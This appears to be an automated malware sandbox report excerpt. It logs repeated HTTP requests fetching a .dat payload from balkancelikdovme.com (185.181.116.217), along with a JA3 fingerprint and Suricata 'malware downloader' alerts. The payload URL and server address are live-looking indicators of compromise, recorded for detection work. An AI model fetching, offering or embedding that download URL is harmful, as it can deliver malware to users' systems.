Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com
Source: global traffic	HTTP traffic detected: GET /uslasw/Opkvejbda.dat HTTP/1.1Host: balkancelikdovme.com

Source: Joe Sandbox View

IP Address: 185.181.116.217 185.181.116.217

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49735 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49731 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49742 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49736 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49762 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49737 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49738 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49732 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49743 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49767 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49759 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49766 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49771 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49734 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49758 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49751 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49770 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49774 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49777 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49756 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49733 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49772 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49746 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49779 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49776 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49741 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49769 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49787 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49744 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49775 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49792 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49749 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49782 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49788 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49763 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49745 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49800 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49778 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49754 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49818 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49781 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49807 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49842 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49768 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49739 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49740 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49791 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49789 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49865 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49877 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49883 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49794 -> 185.181.116.217:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49773 -> 185.181.116.217:443
